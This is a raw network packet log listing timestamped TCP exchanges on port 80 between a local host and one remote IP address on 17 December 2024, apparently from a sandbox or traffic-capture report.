Dec 17, 2024 08:03:12.161407948 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.161482096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.161537886 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.162306070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.162384987 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.162465096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.163414001 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.163475990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.163552999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.164381027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.164436102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.164499998 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.164551020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.165404081 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.165581942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.165638924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.166466951 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.166522980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.166580915 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.167412996 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.167462111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.167521000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.168513060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.168539047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.168565989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.168598890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.169471979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.169523954 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.169562101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.169611931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.170521021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.170571089 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.170622110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.170670986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.171510935 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.171561003 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.171624899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.172559977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.172610998 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.311398029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.311620951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.311630964 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.311695099 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.311876059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.311929941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.312004089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.312055111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.312935114 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.312968969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.312984943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.313016891 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.314028025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.314045906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.314080000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.314114094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.315048933 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.315064907 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.315120935 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.316031933 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.316113949 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.316170931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.317075968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.317126989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.317126989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.317574978 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.318209887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.318260908 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.318275928 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.318319082 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.319133997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.319149017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.319186926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.319221973 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.320169926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.320185900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.320240974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.320240974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.321075916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.321253061 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.321306944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.322150946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.322357893 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.322410107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.323180914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.323196888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.323230982 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.323262930 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.324167967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.324306011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.324357986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.325167894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.325248957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.325298071 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.326201916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.326255083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.326323032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.326565027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.327200890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.327334881 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.327395916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.328277111 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.328319073 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.328375101 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.329257011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.329308033 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.329370975 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.330365896 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.330398083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.330418110 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.330451012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.331332922 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.331383944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.331423044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.331471920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.332310915 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.332360983 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.332442999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.332490921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.333372116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.333513021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.333564997 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.334382057 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.334507942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.334561110 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.335380077 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.335429907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.335494995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.335591078 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.336424112 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.336474895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.336536884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.336585045 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.337572098 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.337587118 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.337639093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.337639093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.338571072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.338588953 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.338649988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.339529991 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.339643955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.339695930 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.340495110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.340543032 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.340603113 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.340647936 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.341578007 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.341689110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.341741085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.342551947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.342667103 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.342719078 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.343549967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.343599081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.343662977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.344572067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.344623089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.344677925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.344683886 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.344726086 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.345606089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.345659018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.345772982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.345820904 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.346657038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.346707106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.346798897 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.347587109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.347666979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.347714901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.347776890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.347826004 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.348658085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.348709106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.348773956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.348822117 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.349729061 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.349778891 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.349842072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.349889994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.350744963 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.350846052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.350897074 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.351727962 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.351881981 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.351932049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.352808952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.352859974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.352925062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.353796959 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.353849888 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.354064941 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.354918957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.354933023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.355034113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.355035067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.355894089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.356029987 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.356081009 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.356947899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.356966972 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.357022047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.357891083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.358031034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.358094931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.358922005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.359097958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.359150887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.359992027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.360027075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.360073090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.360935926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.361049891 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.361094952 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.362060070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.362075090 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.362108946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.362148046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.363018036 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.363301992 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.363383055 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.364298105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.364430904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.364481926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.365075111 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.368570089 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.503341913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.503463030 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.503544092 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.503544092 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.503756046 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.503812075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.504070044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.504122019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.504183054 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.504255056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.505045891 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.505106926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.505170107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.505220890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.506057978 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.506115913 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.506129026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.506200075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.507098913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.507148027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.507213116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.507257938 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.508296967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.508312941 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.508351088 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.508368969 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.509166002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.509213924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.509268999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.509311914 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.510113955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.510163069 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.510219097 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.510262012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.511185884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.511244059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.511292934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.511337042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.512147903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.512197018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.512281895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.512332916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.513293982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.513308048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.513353109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.513369083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.514214039 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.514267921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.514343023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.514391899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.515296936 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.515347004 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.515383959 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.515430927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.516365051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.516381025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.516408920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.516424894 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.517388105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.517431021 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.517584085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.517631054 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.518423080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.518438101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.518461943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.518486023 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.519366980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.519408941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.519478083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.519520998 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.520387888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.520432949 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.520467043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.520508051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.521439075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.521480083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.521516085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.521555901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.522404909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.522447109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.522500992 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.522542000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.523458004 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.523499966 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.523555994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.523596048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.524477005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.524518967 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.524554968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.524615049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.525476933 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.525517941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.525571108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.525609016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.526546955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.526587963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.526643038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.526683092 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.527481079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.527523994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.527568102 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.527606010 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.528578997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.528630018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.528675079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.528714895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.529563904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.529612064 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.529880047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.529923916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.530564070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.530611038 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.530668020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.530709982 CET	49822	80	192.168.2.5	31.41.244.11
